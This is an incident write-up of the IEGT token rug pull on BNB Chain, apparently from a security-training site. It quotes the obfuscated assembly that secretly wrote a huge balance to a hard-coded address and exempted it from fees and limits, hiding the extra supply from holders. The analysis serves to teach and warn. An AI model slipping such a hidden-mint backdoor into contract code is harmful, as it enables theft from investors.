IEGT Rug Pull
What happened
IEGT is a BNB Chain token deployed on 13 July 2023 at 0x8d07f605…b3e97d with a stated supply of 5,000,000 IEGT, traded against BSC-USD on PancakeSwap. Hidden inside the constructor's path setup is an assembly block that writes directly to the balance mapping for a hard-coded address, 0x00002b9b…7b5b56, giving it a balance of block.timestamp to the sixth power (about 2.3 × 10^37 IEGT at deployment) and marking it exempt from fees, limits and trading checks, without emitting a Transfer event or changing totalSupply. CertiK reported that EOA 0x00002b...
sold 1 billion IEGT, 200 times the stated supply, for about $1.14 million. The record lists 0x9cea0bd3…e1e2ca as the liquidity-draining transaction and 0x00000048…c34fed as the address that received most of the proceeds, with smaller amounts sent to several other EOAs.
How it happened
- The constructor calls
__SwapPool_init, which creates the IEGT/BSC-USD pair and calls_pathSet. _pathSetbuilds the constantyfromadd(add(mul(379858174470926,exp(10,28)),mul(61835533555714,exp(10,14))),74433453022038), which equals the address 0x00002b9b…7b5b56.- It then runs
sstore(keccak256(0, 64), exp(timestamp(), 6))with(y, 0)in memory. Slot 0 is the_balancesmapping, so this sets that address's balance to the deploy timestamp to the sixth power. A second write with(y, 0xa)sets slot 10, the_Excludesmapping, to 1. - Because the write bypasses
_mint, noTransferevent is emitted andtotalSupply()still reports 5,000,000 IEGT, so explorers and holders see no extra supply. - In
_transfer,if (isExcludes(from) || isExcludes(to) || amount == 0) {super._transfer(from, to, amount); return;}lets the excluded address skip the trading switch, the 20,000-token sell limit and sell fees. - According to CertiK, 0x00002b... sold 1 billion IEGT into the pool for about $1.14 million, draining its BSC-USD.
Protocol details
Evidence
- report CertiK Skynet Alert: $1.14m exit scam on IEGT token (26 July 2023) twitter.com
- transaction IEGT contract creation transaction bscscan.com
- transaction IEGT liquidity-draining transaction (record link) bscscan.com
- address IEGT verified contract code on BscScan bscscan.com
- address bscscan.com address 0x0000…4fed bscscan.com
- address bscscan.com address 0x0000…5b56 bscscan.com
- analysis Sourcify match for 0x8d07f605926837ea0f9e1e24dba0fb348cb3e97d on BNB Chain repo.sourcify.dev
Build your security review skills
Work through hands-on labs covering real exploit mechanics, review techniques, and defensive patterns.